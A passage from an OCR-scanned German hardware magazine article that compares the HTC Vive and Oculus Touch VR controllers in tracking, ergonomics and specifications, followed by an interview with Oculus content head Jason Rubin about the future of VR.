sentlich intuitiver, wenn diese be- 
kannte Bewegungsmuster nutzen. 


Virtuelle Klassengesellschaft 
Einzelne Finger kann aktuelle VR- 
Hardware zwar nicht erfassen, aber 
das Tracken von Hand- und damit 
Armbewegungen in Kombination 
mit einfachen Tastenaktionen für 
„Drücken“ und „Greifen“ ist be- 
reits so vielseitig, dass die seit dem 
Frühjahr 2016 mit HTCs Vive ausge- 
lieferten Controller den VR-Markt 
regelrecht spalten. 


Die eine Seite stellt sogenanntes 
„seated VR“ dar, das typischerwei- 
se im Sitzen gespielt wird. Neben 
Renn- und Flugspielen ohne VR- 
Controller-Bedarf finden sich auch 
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Spiele mit Gamepad-Steuerung in 
dieser Kategorie, denn zumindest 
bis zum Erscheinen der Playstation 
VR gab es kaum Spiele, bei denen 
der Spieler von der Couch aus mit 
komplexen Handbewegungen in 
der virtuellen Welt agiert. 


Ebenso selten sind umgekehrt Titel, 
in denen sich der Spieler auf seinen 
eigenen Beinen durch die virtuelle 
Welt bewegt, aber nur über Tasten- 
drücke mit dieser interagiert - wer 
einem Tennisball hinterherhech- 
tet, der möchte ihn auch mit einer 
Armbewegung wegschlagen. Dank 
des für zahlreiche Sportspiele, aber 
auch für Shooter nötigen realen 
Platzes hat diese Art von Virtual 
Reality den Zusatz „roomscale“ er- 
halten. Das intensivere Spielerleb- 
nis lässt einige Nutzer aber auch 
von „echtem VR“ sprechen und auf 
seated-VR-Spiele herabblicken. 


HTC vs. Oculus: Tracking 

Bislang verlief diese emotional ge- 
ladende Trennlinie zwischen HTC- 
Vive- 
denn nur erstere verfügten über 
VR-Controller. Seit dem 5. Dezem- 
ber stellt sich nun endlich Oculus’ 
lang angekündigter Konter der 
etablierten Konkurrenz und den 


und Oculus-Rift-Nutzern, 


Testern. Der „Touch“ getaufte Neu- 
zugang muss extra gekauft werden, 
dank des günstigeren Oculus-Rift- 
Headsets kommen aber beide Sys- 
teme auf einen ähnlichen Gesamt- 
preis. Trotzdem herrscht nominell 
kein Gleichstand, denn Oculus 
führt zusammen mit Touch eine 
dritte VR-Klasse ein. „Front facing 
УК“ oder auch „180° VR“ beschreibt 
Setups, deren Bedienung zwar 
Roomscale-VR entspricht, aber auf 
360°-Drehungen verzichtet. Diese 
Einschränkung resultiert aus der 
von Oculus empfohlenen Positio- 
nierung beider mitglieferter Tra- 
cking-Kameras vor dem Spieler. Im 
toten Winkel hinter dessen Körper 
werden die Controller also nach ei- 
ner 180°-Drehung nicht erfasst. 


Was zunächst nach einer starken 
Einschränkung klingt, unterschei- 
det sich in vielen Spielen kaum von 
roomscale-VR: Oft bewegt sich der 
Spieler in eine bestimmte Richtung 
und hat wenig Interesse am Raum 
hinter sich. Häufige 360°-Drehun- 
gen werden ohnehin vermieden, 
damit sich niemand im Kabel des 
Headsets verwickelt. Spürbar ist 


www.pcgameshardware.de 


Trotz kompakter Bauweise ist Touch (links) auch für große Hände ergonomischer. In Spielen überzeugt vor allem der zweite, seitli- 
che Trigger für den Mittelfinger, der die natürliche Greifbewegung leichtgängiger ins Spiel überträgt als die Taste am HTC-Griff. 


ann 


Das Oculus Batteriefach wird so zuverlássig magnetisch verriegelt, dass man sich fragt, wieso jahrelang mit verschleiBenden 
Plastikclips gearbeitet wurde. HTCs USB-Antwort ist noch eine Generation weiter: Wieso sich überhaupt mit Batterien rumárgern? 


der Nachteil von front-facing-VR 
aber in einigen Anwendungen wie 
beispielsweise 3D-Malprogram- 
men - deren Inhalte kennen kein 
definiertes „vorne“ und „hinten“. 


Experimentelle Setups 

Für 360°-Nutzung kann Touch al- 
ternativ und unter Missachtung 
einer Einrichtungs-Fehlermeldung 
mit der zweiten (oder einer extra 
zu erwerbenden dritten) Kamera 
hinter dem Spieler genutzt werden. 
Warum Oculus diesen Aufbau nur 
„experimentell“ und ohne Garantie 
unterstützt, können wir allerdings 
nicht nachvollziehen. In unseren 
Tests funktioniert er einwandfrei 
und solange die Sichtverbindung 
zum Controller gewahrt ist, unter- 
scheider sich die Trackingqualität 
mit nur einer Frontkamera nicht 
vom normalen Doppel-Setup. 


Ein freies Sichtfeld braucht auch 
die etablierte Konkurrenz von 
HTC: Sobald der Körper des Spie- 
lers und ein weiteres Hindernis 
vor ihm (beispielsweise die zweite 
Hand mit dem anderen Controller) 
dafür sorgt, dass der Controller kei- 
ne der Basisstationen sehen kann, 
versagt das Positions-Tracking. Da- 
runter leiden nicht nur Immersion 


HTC Lighthouse: Ein großes Dioden-Feld für Synchronisationblitze und links sowie 
oberhalb davon ein rotierendes Linsensystem (als Punkt zu sehen) für Laser-Sweeps. 


і" 


4 
Ä 


| 


Mittelfinger: Waffe greifen. Hand: Zielen. Zeigefinger: Feuern. Kopf und Körper zur 
gleichen Zeit: Kugeln ausweichen. Das Erlebnis von Superhot VR ist in 2D undenkbar. 
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und Bedienbarkeit, unkontrolliert 
im Raum driftende virtuelle Hän- 
de führen auch schnell zu einem 
Übelkeitsgefühl. Trotz technisch 
ähnlicher Voraussetzungen ist die 
Wahrscheinlichkeit hierfür bei 
HTC aber geringer. Zum einen ist 
Touch kompakter gebaut und wird 
so schneller verdeckt, während der 
hervorspringende Sensorring an 
den Vive-Controllern in den meis- 
ten Situationen vom Körper weg- 
zeigt. Zum anderen zeigt Oculus 
die Aufstellung der Sensoren auf 
dem Schreibtisch, während HTC 
explizit eine Wandmontage weit 
oben vorsieht. Letzteres verbessert 
das Sichtfeld für die Emitter deut- 
lich und ist unserer Meinung nach 
bei stationärem Einsatz auch für 
Oculus’ Kameras empfehlenswert. 


Leuchttürme 

Die Bezeichnungen deuten es 
bereits an: Trotz ähnlicher Praxis- 
eigenschaften nutzen beide Tra- 
ckingsysteme grundverschiedene 


Prinzipien. HTC lässt zu einer 
Line aufgefächerte Infrarot-Laser 
horizontal und vertikal durch den 
Raum schwenken, jeweils abwech- 
selnd von beiden Basistationen und 
getrennt für X- und Y-Achse. Da der 
Start jedes Durchganges über Syn- 
chronisations-Blitze mitgeteilt wird 
und die Schwenkgeschwindigkeit 
der Laser bekannt ist, können Ge- 
räte aus dem Auftreff-Zeitpunkt 
eines Laserstrahls ihren Winkel zur 
Basistation berechnen. Dank zahl- 
reicher Fotozellen und somit meh- 
rerer derartiger Winkelmessungen 
wird über Triangulation auch der 
Abstand zur Basisstation ermittelt. 


Sie haben übrigens richtig gelesen: 
Das trackende Element sind bei 
HTC das Headset beziehungsweise 
die Controller nebst angeschlosse- 
nem Rechner. Die treffenderweise 
„Lighthouse“ genannten Basisstati- 
onen dienen nur als IR-Emitter. Für 
den Anwender hat dies den großen 
Vorteil, dass diese nur mit einer 


VR- 
CONTROLLER 


Produkt Vive-Controller 


Hersteller 


HTC (Kooperation mit Valve) 


Touch 
Oculus VR (Facebook-Tochter) 


Preis 


Ca. € 900,- (inkl. Headset) 


ca. € 200,- (zzgl. Headset für ca. € 700,-) 


Steam VR 


Hard- und Softwareplattform | Windows-PC (Linux und OS X geplant), 


Windows-PC (Linux und OS X geplant), 
Oculus Client 


Controller 


Tasten, Fingerzuordnung 


4 (Zeige-, Mittelfinger, 2x Daumen), 
Klickfunktion auf Touchpad (Daumen) 


5 (Zeige-, Mittelfinger, 3x Daumen), 
Klickfunktion auf Mini-Joystick (Daumen) 


Weitere Eingabemethoden — |Trackpad (Daumen) 


Mini-Joystick (Daumen), Berührungs- 
erkennung für Daumen, Zeige- und 


Mittelfinger 
Ergonomie Befriedigend Sehr gut 
Stromversorgung Integrierter Akku, Laden über Micro-USB | 1x AA pro Controller (mitgeliefert) 
(Netzteil mitgeliefert) 
Gewicht 205 9 159g 
Lànge x Breite x Hóhe 220 x 119 x 72 mm 106 x 108 x 98 mm 
Tracking 


Tracking-Prinzip 


IR-Lasermuster 


Headset und Controller orientieren sich 
am von Basisstationen ausgesandten 


IR-Kamera erkennt LEDs an Headset und 
Controllern, Geräteunterscheidung durch 
Blinkrhythmen 


Trackingqualität Controller |Gut bis sehr gut Sehr gut (mit Kamera an USB3: befrie- 
digend) 

Anzahl Basisstationen, 2, nur Strom 1 (nur Rift). Mit Touch-Controller 2, 

Anschlüsse jeweils 1 USB 

Positionierung der Basis- Gegenüberliegende Ecken des VR-Be- Typischerweise vor Anwender auf 

stationen reiches, möglichst hoch. Kalibrierung Schreibtisch, aber prinzipiell alle Positi- 


beim Einschalten, Positionsänderungen 
danach führen zu Trackingfehlern. 


onen (auch über Kopf) möglich. 


Reichweitenangabe laut 
Hersteller 


4,6 x 4,6 m (mit zwei Stationen) 


2 x 2 m mit zwei IR-Kameras, dritte 
IR-Kamera für 2,5 x 2,5 m empfohlen 


Erfassungswinkel (je Basis)* |ca. 90° 


ca. 100° 


Min. Entfernung zur Basis са. 20 cm 


ca. 10 cm 


Max. Entfernung von Basis* 


> 9 m (Raumgröße limitiert) 


ca. 3,5 m (zunehmende Trackingfehler) 


Vollstándige Trackingunter- 


brechung dann Abschaltung 


Wenige Sekunden Rotationserkennung, 


Rotationserkennung und Tasten funk- 
tionieren, letzte bekannte Position 
bleibt fixiert 


Teilweise Trackingunter- 
brechung 


Controllerposition driftet ab, Rotation 
und Tasten funktionieren weiter 


Controllerposition driftet ab, Rotation 
und Tasten funktionieren weiter 


* Angaben beziehen sich nur auf die Controller. Die größeren Headsets werden auch aus etwas größeren Winkeln sicher 
erkannt, die maximal nutzbare Entfernung ist in der Praxis durch die (HDMI-)Kabellánge begrenzt. 
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Steckdose verbunden werden müs- 
sen - aber nicht mit dem Spiele-PC. 


Konstellationen 
Oculus’ „Constellation“-Sensor 
macht seinem Namen ebenfalls alle 
Ehre. Die Infrarot-Kamera erkennt 
über die Oberfläche von Rift und 
Touch verteilte LEDs und ermittelt 
nicht nur die Richtung, sondern 
aus deren Position zueinander 
auch den Abstand. Da hier eben- 
so der PC die eigentliche Daten- 
verarbeitung übernimmt, müssen 
die Kameras über USB mit diesem 
verbunden werden - 
bevorzugt USB 3.0, sonst kommt 
es bei schnellen Bewegungen zu 


und zwar 


sichtbaren Sprüngen. Zusammen 
mit dem Headset benötigt man also 
mindestens drei USB-3.0-Ports und 
für ein 360°-Setup zusätzlich eine 
USB-Verlängerung, denn die Kabel- 
länge von 2,5 m ist wirklich nur für 
den Schreibtischeinsatz gedacht. 


Ein zweiter Nachteil der Oculus- 
Technik ist die geringere Tiefen- 
auflösung. Während bei HTC me- 
chanisch rotierende Spiegel den 
Laserstrahl kontinuierlich kreisen 
lassen, sodass selbst in über 9 m 
Entfernung noch keine Abstu- 
fungen das Tracking stören (das 
Headset-Kabel reicht nicht einmal 
halb so weit), reicht die Auflösung 
der Oculus-Kamera bereits bei 4 
m Abstand nicht aus, um den Ab- 
stand einzelner IR-Markierungen 
und damit die Entfernung zwi- 
schen Kamera und Controller zu 
erfassen. Im Gegenzug arbeiten die 
Constellation-Sensoren unabhän- 
gig voneinander, sodass weitere 
Kameras zusätzliche Raumberei- 
che erfassen können. Das ist vor al- 
lem dann praktisch, wenn Objekte 
am Rand der Spielfläche den freien 
Blick auf diese erschweren, theore- 
tisch könnte man sogar auf beiden 
Seiten einer Wand spielen. Bei HTC 
verhindert dagegen die zeitbasierte 
Erkennung der Laser den Einsatz 
zusätzlicher Basisstationen, denn 
diese müssen sich maximal 120 
Laser-Durchgänge pro Sekunde un- 
tereinander teilen. 


Sowohl für die Erweiterbarkeit als 
auch die Reichweite gilt aber: Im 
Rahmen der Platzanforderungen 
aktueller VR-Spiele und des Platz- 
angebotes der meisten Anwender 
sind sie ohne Belang. Wichtigster 
Unterschied zwischen HTC und 


Oculus bleibt somit die Orientie- 
rung auf einen störungsfreien, 
permanenten Aufbau mit Wandhal- 
terung (Vive) oder eine schnelle 
Einrichtung via USB und Standfü- 
ßen (Rift/Touch). Oculus’ System 
ist übrigens auch auf Softwarebene 
erstaunlich resilient und verkraftet 
beispielsweise leichte Änderungen 
der Kameraposition im laufenden 
Spiel ohne Neukalibrierung. Nur 
die virtuelle Abgrenzung der Spiel- 
fläche muss eventuell erneuert 
werden, damit man nicht ohne Vor- 
warnung in reale Hindernisse läuft. 


Ergonomie - Alles im Griff? 
Die Qualität eines Eingabegerätes 
definiert sich nicht nur über seine 
Technik, auch die Formgebung ist 
wichtig - und hier kann Oculus die 
technischen Schwächen mehr als 
wettmachen. Trotz der geringen 
Größe liegt Touch wesentlich bes- 
ser in der Hand als die langgezoge- 
nen Vive-Controller. Letztere sind 
zudem etwas schwerer und haben 
einen höheren Schwerpunkt. Das 
ist zwar nicht unangenehm, aber 
bei Rotationsbewegungen wahr- 
nehmbar. Touch ist unaufdringli- 
cher und stört so die VR-Immersi- 
on kaum, inbesondere wenn die 
Pistolen-ähnliche Griffform zum 
Spielinhalt passt. 


Weniger wichtig ist bislang die zu- 
sätzliche Taste der Touch-Control- 
ler und die Nutzung eines Thumb- 
sticks an Stelle eines Touchpads, 
denn die meisten VR-Controller- 
Spiele kennen ohnehin nur eine 
Taste für „Drücken“. Wo eine zwei- 
te Taste genutzt wird, kann Oculus 
mit einem optimal für intuitives 
„Greifen“ platzierten zweiten Trig- 
ger punkten. HTC bietet dagegen 
nur ein Pärchen recht schwergän- 
giger Tasten an der Seite des Con- 
trollers, die zwischen Fingern und 
Handballen gedrückt werden sol- 
len - die meisten Spiele verwenden 
aber, wenn der Zeigefinger-Trigger 
für die Bedienung nicht ausreicht, 
lieber die Klickfunktion des Touch- 
pads auf der Oberseite - zum Teil 
in Kombination mit Menüs. 


Ebenso ungenutzt ist bislang die 
namensgebende 
der Oculus-Controller: Über Be- 


Touch-Funktion 


rührungssenoren wird erkannt, ob 
Daumen und Zeigefinger ihre je- 
weiligen Tasten bewegen oder ab- 
gestreckt sind (siehe Seite 105). (tv) 


www.pcgameshardware.de 


VR-Controller | INFRASTRUKTUR 


Oculus-Head-of-Content Jason Rubin im Interview 


PCGH: Touch wurde schon vor dem 
Launch der Rift sehnlich erwartet, 
aber wie geht es weiter? Der groBe 
VR-Durchbruch làsst bislang auf sich 
warten. 


Jason Rubin: Oculus hat von Anfang 
an gesagt, dass die neue Technik 
Zeit zur Reife braucht, ehe sie alle 
Màrkte bedient. Natürlich meckert 
bei jeder neuen Technologie je- 
mand, dass sie weder Krebs heilt 
noch die Steuererklárung ausfüllt. 
Aber ein, zwei, drei Jahre später pas- 
sen der Preis, die Software, das Er- 
lebnis und VR wird zum Must-have. 
VR ist die Zukunft, 2016 war unser 
Start in diese Zukunft und wir ha- 
ben jetzt ein komplettes Sortiment 
aus Entry- und High-Level-VR in 
Form von Gear VR, Rift und Touch. 
Für ein Enthusiasten-Produkt war es 
auch ein sehr, sehr guter Marktstart. 


, We're very cognizant 
of the fact that the 


price is expensive. " 


Jason Rubin, Oculus Head of Content 


Zum Touch-Launch sind über 50 
angepasste Titel im Store, über 100 
Spiele für die Rift insgesamt. Ver- 
glichen mit einer Playstation ist das 
ein sehr gutes erstes Jahr und jetzt 
befinden wir uns im Stadium der 
Software-Optimierung. 


PCGH: Viele Interessenten konnen 
sich die Rift schlicht nicht leisten - 
plant ihr eine Budget-Version? 


Jason Rubin: Wir sind uns der ge- 
ringen Verbreitung passender PCs 
und des hohen Headset-Preises be- 
wusst, aber die technische Entwick- 
lung wird diese Phase überwinden 
und VR in ein paar Jahren allgegen- 
wärtig sein. Tester zum Beispiel in 
Media Märkten sagen „Das will ich 
haben, das ist die Zukunft“, aber 
nur Enthusiasten leisten sich High- 
End-VR schon heute, während die 
Gear VR bereits sehr verbreitet ist. 
Bei der Wahl zwischen einer güns- 
tigen Technologie, die ihre Verspre- 
chen nicht einhält und nur wegen 
des Hypes gekauft wird und einer 
Technologie, die Versprechen wahr 
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macht, aber aufgrund des Preises 
nur nach und nach adaptiert wird, 
haben wir uns klar für letzteres 
entschieden, um unsere Kunden 
glücklich zu machen. Das Zufrie- 
denheitsniveau unter den Oculus- 
Rift-Käufern bestätigt uns in dieser 
Launch-Strategie. 


PCGH: Sind günstige VR-Lösungen 
wie die Playstation VR unter diesem 
Gesichtspunkt eine Gefahr für VR 
oder zumindest gefährliche Konkur- 
renz für Oculus? 


Jason Rubin: Ich glaube nicht, dass 
einfachere Lösungen VR als Ganzes 
schädigen. Unsere Gear VR erreicht 
ihrerseits nicht Playstation-VR-Qua- 
lität, bietet nicht einmal Position- 
Tracking, aber Nutzer haben viel 
Spaß damit und entwickeln Interes- 
se an VR. Andere VR-Unternehmen 
sind Partner in unserem Streben, 
Menschen für VR zu begeistern. Es 
gibt zahlreiche Qualitäten von VR 
und jeder muss für sich das richtige 
Preis-Niveau für den Einstieg fin- 
den. Viele Menschen lernen virtuel- 
le Realität auf einem Niveau unter- 
halb der Rift kennen, beispielsweise 
über Gear VR, und erkennen darin 
die Zukunft der Unterhaltungsme- 
dien. Oculus ist 100 Prozent VR. 
Wir haben keine Nebengeschäfte, 
wir bauen keine Konsolen, wir 
glauben, dass wir das beste Hand- 
Tracking und das ergonomischste 
Headset am Markt haben, und egal 
bei welchem Hersteller jemand VR 
ausprobiert - der nächste logische 
Schritt ist ein Oculus-Produkt. Mit 
Rift und Touch wollen wir die beste 
VR-Qualität am Markt bieten. Das ist 
teuer, ja, aber nicht unbezahlbar - 
wir wollten kein 10.000-US-Dollar-, 
kein 5.000-US-Dollar-, sondern ein 
500-bis-1.000-US-Dollar-High-End- 
Headset bauen, das von leistungsfä- 
higen GPUs versorgt wird, um die 
Anforderungen an echte Virtual- 
Reality-Präsenz zu erfüllen. 


Günstige Lösungen sind sehr cool, 
aber sie geben einem nicht das 
Präsenz-Gefühl, bei dem man sich 
wirklich im virtuellen Raum fühlt. 
Dafür braucht es 90 Fps und die 
Grafikqualität einer Rift. Und keiner 
unser Mitbewerber investiert so viel 
in die Verbesserung von Soft- und 


Hardware wie wir, sodass wir auch 
in Zukunft einen Vorsprung haben 
werden. 


PCGH: Stichwort Software: Viele An- 
wender kritisieren die geringe Zahl 
ambitionierter Titel und voneinan- 
der getrennte Plattformen engen die 
Auswahl weiter ein. 


Jason Rubin: Nicht nur für uns Hard- 
ware-, sondern auch für die Soft- 
ware-Entwickler ist das der erste 
Versuch und ausgehend von dieser 
Tag-1-Qualität ist kaum zu erahnen, 
wo die Entwicklung in ein paar 
Jahren oder gar in ein, zwei Jahr- 
zehnten sein wird. Oculus fördert 
wie keine andere Hardware-Firma 
die Software-Entwicklung, wir ha- 
ben über 250 Millionen US-Dollar 
investiert und Mark Zuckerberg hat 
weitere 250 Millionen angekündigt 
und diese Spiele werden Oculus- 
exklusiv sein. Das ist auch technisch 
bedingt: Unser Controller bietet 
einzigartige Möglichkeiten: Gesten, 
echte Hand-Präsenz - Exklusivität 
ist die unvermeidbare Folge, aber 
natürlich wollen wir in Zukunft 
auch von diesen Investitionen pro- 
fitieren. Wir sind offen gegenüber 
Software, die beispielsweise über 
Steam gekauft wurde. Aber beson- 
ders nach dem Touch-Launch sollte 
offensichtlich sein, dass unser Store 
das vollständigste Software-Angebot 
bietet, und wenn wir Millionen in 
eine Anwendung investieren, dann 
wollen wir die auch in unserem 
Shop verkaufen. Google, Microsoft, 
Sony handhaben es nicht anders - 
das ist die natürliche, normale Art, 
Geschäfte zu machen. 


Jason Rubin 


PCGH: Werden in diesem Rahmen 
auch umfangreichere Titel erscheinen 
oder vertragen sich lange Spiele-Sit- 
zungen und VR allgemein nicht? 


Jason Rubin: Wir haben eine Reihe 
von Spielen, bei denen die durch- 
schnittliche Spiele-Session über 
eine Stunde lang ist. Für jeden Spie- 
ler, der nach wenigen Spielminuten 
unterbrochen wird, gibt es also 
andere, die mehrere Stunden am 
Stück durchspielen. Ich selbst habe 
Dragon Front viereinhalb Stunden 
ohne Unterbrechung gespielt und 
Elite-Dangerous- oder Chronos-Spie- 
ler berichten von über acht Stunden 
langen Sitzungen. Letzteres bietet 
übrigens eine Gesamtspielzeit von 
über 10 Stunden. Elite Dangerous 
und Project Cars sind prinzipiell 
endlos spielbar. Hierbei handelt es 
sich um große 2D-Produktionen, 
die für VR portiert wurden, als es 
endlich die Möglichkeit dafür gab. 
Speziell für VR, beispielsweise für 
VR-Controller, entwickelte Spiele 


VR-Sammelkarten? In Dragon Front gibt es keine realistische Spielwelt, aber auch un- 
bewusste Kopfbewegungen eines wütenden Spieler(-Avatars) sind eine Bereicherung. 
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sind in Arbeit. Die Entwickler haben 
aber erst seit gut einem Jahr Zugriff 
auf Controller-Prototypen, durch- 
schnittliche Konsolen-Titel brau- 
chen aber mindestens zwei, drei Jah- 
re für die Entwicklung. Außerdem 
zielen AAA-Produktionen auf einen 
großen Käuferkreis und VR startete 
2016 mit einer Verbreitung von null. 
Das ist auch der Grund, warum Ocu- 
lus so aggressiv investiert. Den nor- 
malen Innovationszyklus aus klei- 
nen und mittleren Indie-Titeln, die 
nach und nach immer mehr Kun- 
den immer umfangreichere Spiele 
für eine neue Technologie bringen, 
wollen wir überspringen und bin- 
nen zwei Jahren die Grundlage für 
große Produktionen schaffen. Der 
aktuelle, Demo-lastige Markt ist 
keine akzeptable Langzeitstrategie. 
Mehrjährige Entwicklungen kön- 
nen aber erst mehrere Jahre nach 


Verfügbarkeit der Hardware fertig- 
gestellt werden. Außerdem brau- 
chen wir die Indie-Experimente, 
um herauszufinden, welches Game- 
play in VR funktioniert, ehe jemand 
drei Jahre investiert, um mit diesen 
Spielmechaniken das nächste Sky- 
rim zu entwickeln. 


PCGH: Man mag die Indie-Welle als 
VR-Demo betrachten können. Aber 
auch bei Titeln mit mehr Inhalt währt 
die VR-Faszination oft nur 1-2 Stun- 
den und man fragt sich, ob man das 
nicht günstiger in 2D spielen könnte. 


Jason Rubin: Für Indie-Entwickler 
ist es wichtig, der Erste zu sein, 
schnell am Markt, damit sie von den 
Einnahmen künftige Entwicklun- 
gen finanzieren können. Deswegen 
konzentrieren sie sich auf einfache, 


kurze Titel und greifen vertrau- 


Der Weltraum — unendliche Weiten. Entgegen vieler reiner VR-Titel spielt man das rie- 
sige (allerdings auch repititive) Elite-Dangerous-Universum nicht so schnell , durch". 


In 2D unmöglich und ohne VR-Controller nur halb so gut: Die Klettersimulation „The 
Cimb" lebt von der Ráumlichkeit, dem freien Umschauen und dem intuitiven Greifen. 
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te Spielkonzepte auf. Neue Ideen 
brauchen etwas länger. Ein erstes 
Beispiel ist The Climb von Crytek 
- ein Spiel, das in 2D gar nicht móg- 
lich wäre. Und unsere Statistiken 
zeigen, dass Leute es immer wieder 
spielen und ihren Freunden vorfüh- 
ren. 2D-Spiele werden nicht von 
heute auf morgen verschwinden, 
aber langfristig wird man das volle 
Spielerlebnis nur in VR erhalten. 
Selbst ein einfaches Sammelkarten- 
spiel wie Dragon Front profitiert 
von VR, zum Beispiel wenn man an 
den Bewegungen des virtuellen Ge- 
genspieler-VRs sehen kann, wie sie 
sich über Siege freuen oder Verluste 
ärgern. Kein anderes Medium kann 
solche Details vermitteln und wir 
glauben, dass gerade auch der sozi- 
ale Aspekt von VR eine grofse Rolle 
spielen wird. 


PCGH: Wird diese VR-Bereicherung 
alle Genres erfassen oder sind einige 
schlicht VR-inkompatibel? 


Jason Rubin: Nach 30 Jahren in der 
Spiele-Branche wette ich nie gegen 
die Kreativität der Spiele-Entwickler. 
Man kann sich nur lächerlich ma- 
chen, wenn man sagt, dass etwas 
gar nicht funktionieren kann, denn 
irgendein Genie wird einen Weg 
finden. Jeder kann ein Software- 
Entwickler-Kit kostenlos bei uns run- 
terladen, sogar ohne Registrierung, 
und viele schlaue Leute finden ir- 
gendwann eine Lósung. Es gibt aber 
schwierige Genres, in denen sich das 
Gameplay verändern wird, man den- 
ke zum Beispiel an die Bewegung in 
First Person Shootern. Andere, wie 
Echtzeitstrategie, lassen sich dage- 
gen intuitiv in VR umsetzen. Und es 
gibt Genres, die wir noch gar nicht 
kennen, die brillante Entwickler zur 
Killer-Anwendung für VR machen 
werden. Das Schóne an der Commu- 
nity ist, dass eine Entwicklung sofort 
von allen übernommen wird. Man 
sehe sich nur die VR-Shooter-Evoluti- 
on von Damage Core über Dead and 
Buried zu Robo Recall an. 


PCGH: Nicht nur die Steuerung aktuel- 
ler VR-Titel ist verbesserungswürdig, 
auch für andere Eckpfeiler moderner 
Spielerfahrungen wie übermensch- 
lich schnelle Bewegungen oder Über- 
blick gewáhrende 3rd-Person-Kame- 
ras fehlen VR-Gegenstücke. 


Jason Rubin: Man muss die lang- 
fristige Entwicklung einer Tech- 


nologie getrennt vom Hier und 
Jetzt betrachten. Die an schlechten 
Empfang angepasste, überbetonte 
Sprechweise der 1940erJahre-Ra- 
diosprecher wirkte im TV vollkom- 
men unpassend. 


Filme ihrerseits haben einen eige- 
nen Stil entwickelt, manch alter 
„Action“-Film ist im Vergleich zu 
modernen Filmen unerträglich 
langatmig. Computer-Spiele erzäh- 
len seit 30, 40 Jahren Geschichten 
auf zweidimensionalen Bildschir- 
men. Vor 20 Jahren wurde das Kon- 
zept des First Person Shooters etab- 
liert und hat seitdem einen eigenen 
Stil entwickelt. Die Inszenierung ei- 
nes aktuellen Call of Duty hat wenig 
mit Carmacks Doom gemein - und 
sie ist so unrealistisch, dass sie au- 
ßerhalb von 2D-Computerspielen 
keinen Sinn ergibt. Im Laufe der VR- 
Ära wird sich ein neuer Stil entwi- 
ckeln, ohne den alten „2D-Akzent“. 
Vermutlich wird man nicht mehr 
mit 40 km/h durch Shooter rennen 
und Rennspiele werden berücksich- 
tigen, dass der Spieler 360° Rund- 
umsicht hat, dafür aber seinen Kopf 
drehen muss. 


PCGH: Sind derartige Ansätze schon 
absehbar? 


Jason Rubin: Ein frühes Beispiel ist 
Eagle Flight. Das Spiel schaltet die 
3D-Stereoskopie stellenweise ab 
oder blendet schwarze Scheuklap- 
pen ein, wenn man in hohem Tem- 
po durch Häuserschluchten fliegt, 
um Bewegungsübelkeit zu vermei- 
den. Niemand hat das bislang in 
Shootern ausprobiert - vielleicht 
ist das die Zukunft und ermöglicht 
schnelle Bewegungen mittels Con- 
troller, vielleicht findet ein Indie 
eine bessere Lösung. Ich weiß nicht, 
was die Lösung ist, aber ich weiß, 
dass Entwickler neue Herangehens- 
weisen finden werden, die VR un- 
terhaltsam und verträglich machen. 


Was wir heute in VR-Spielen sehen, 
ist nicht die finale Lösung, sondern 
Teil des Fortschritts. Ich könnte 50 
fundamentale Aspekte nennen, die 
für jedes Spiel von Bedeutung sind 
und neue Lösungen erfordern. Da- 
runter subtile und vermeintlich 
einfache Dinge. Wir haben zum Bei- 
spiel sechs Monate gebraucht, bis 
wir einen rundum zufriedenstellen- 
den Cursor hatten, der den Kopf- 
bewegungen des Spielers folgt. 
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Man sollte meinen, Cursor-auf-Bild- 
schirm wäre ein alter Hut, aber in 
VR muss sich der Cursor an die Tie- 
fe des Objekts hinter ihm anpassen. 
Ein Cursor, der ein Objekt verdeckt, 
aber stereoskopisch dahinter wahr- 
genommen wird, ist sehr irritie- 
rend. Das gilt auch für einen Cursor, 
der tiefenabhängig seine Größe än- 
dert. Selbst Top-Entwickler werden 
hier 20 Jahre zurückversetzt und 
müssen ihr altes Wissen über Bord 
werfen, weil es nicht mehr funktio- 
niert. Aber das belebt die Designer 
auch. Es erinnert sie an ihre Jugend 
und die rasante Entwicklung in den 
1990ern, die in vielen das Bedürf- 
nis ausgelöst hat, Spiele-Entwickler 
zu werden. In 10, 20 Jahren mag 
sich das wieder ändern, aber jetzt 
herrscht Wild-West-Stimmung. 


PCGH: Und was für ein Spiel steht am 
Ende dieser Entwicklung? 


Jason Rubin: Was ich mir wünsche, 
sind gigantische Welten mit vie- 
len NPCs, aber auch menschlichen 
Spielern und sozialer Interaktion. 
Eine Kombination aus World of War- 
craft und Skyrim, nicht zwingend 
in einem Fantasy-Szenario. Aber et- 
was so Großes braucht Zeit. World 
of Warcraft war vor dem Launch 
fünf Jahre in Entwicklung. Skyrim 
brauchte vier Jahre auf Basis einer 
bestehenden Engine und etablier- 
ter Spielmethoden und am letzten 
GTA wurde sechs Jahre gearbeitet. 
Bis zum Release solcher Spiele wird 
also noch einige Zeit vergehen, aber 
sie werden kommen. 


PCGH: Es gibt Befürchtungen, dass 
Spieler über solche Titel die reale 
Welt vergessen" könnten. 


Jason Rubin: Ich kenne noch die 
Zeit, als Dungeon and Dragons „zu 
real“ war. Und nach einer 18-Stun- 
den-Doom-Sitzung habe ich mich 
einmal so erschreckt, dass ich mit- 
samt Stuhl umgefallen bin - jetzt 
sind Horror-Shocker ein populäres 
VR-Genre. Die große Mehrheit hat 
keine Probleme, zwischen Enter- 
tainment und Realität zu unterschei- 
den, aber es wird leider immer eini- 
ge wenige geben, die auf bestimmte 
Reize überreagieren. Da ist VR keine 
Ausnahme. 


PCGH: Welche Bedeutung haben diese 


Möglichkeiten von VR außerhalb des 
Spiele-Einsatzes? 
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,Touch"-Funktion: Fingergesten mit Oculus 


Heutige VR-Controller tracken zwar keine Finger, Oculus Touch erkennt neben Tastendrücken aber auch, ob ein Finger die 
Taste berührt — oder nicht. Letzteres kann für Gesten wie „Daumen nach oben" oder einen ,Zeige"-Finger nutzen. 


Jason Rubin: VR wird bereits inten- 
siv für Therapiezwecke getestet. 
Wir haben zahlreiche Anfragen aus 
der Medizin und es gibt erste Er- 
folgsmeldungen bei der Linderung 
psychisch bedingter Schmerzen. 
Auch im Bildungsbereich hat VR 
sehr grofses Potenzial, in der Archi- 
tektur und natürlich für soziale In- 
teraktionen und wir fórdern diese 
Bereiche gezielt. Spiele und Enter- 
tainment werden sicherlich einen 
großen Teil von VR ausmachen, 


Will some genres never work in VR? 


„1 never bet against 


Game developers. " 


Jason Rubin, Oculus Head of Content 


aber das Schlüsselelement sind un- 
serer Meinung nach neue Formen 
sozialer Interaktion. Auf der Gear 
VR sind Spiele schon heute in der 
Minderheit und Facebook ist keine 
Firma, die reine Spiele-Technologie 
